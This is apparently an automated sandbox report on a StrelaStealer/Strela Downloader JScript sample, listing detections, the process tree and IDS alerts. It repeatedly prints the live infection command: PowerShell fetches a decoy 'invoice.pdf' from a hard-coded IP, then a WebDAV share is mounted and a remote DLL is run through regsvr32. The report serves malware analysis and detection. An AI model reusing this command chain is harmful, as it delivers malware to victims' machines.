Edit tour

Windows Analysis Report
1554336511338510086.js

Overview

General Information

Sample name:	1554336511338510086.js
Analysis ID:	1588916
MD5:	12b582735e5b76398d982c4eb14a2888
SHA1:	ee56cfbf14ff06786c8067b874d3e9bde0ad9f14
SHA256:	10de85d339657b564aaf8721bd1f5374a49dc6a99b6a7e066943986788511242
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3228 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1554336511338510086.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5764 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5768 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5996 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3128 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7328 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1584,i,5818682069850965667,16294001736316317126,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6300 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1784 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7184 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3228	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5764, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5768, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5764, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5768, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1554336511338510086.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1554336511338510086.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1554336511338510086.js", ProcessId: 3228, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1784, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1554336511338510086.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3228, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 5764, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1554336511338510086.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3228, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 5764, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1554336511338510086.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3228, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 5764, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1554336511338510086.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3228, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 5764, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1554336511338510086.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3228, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 5764, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1554336511338510086.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1554336511338510086.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1554336511338510086.js", ProcessId: 3228, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5764, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5768, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6300, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1784, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7184, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6300, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1784, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1554336511338510086.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3228, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 5764, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:07:24.090840+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:07:26.635856+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:07:24.090840+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1554336511338510086.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1554336511338510086.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:07:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
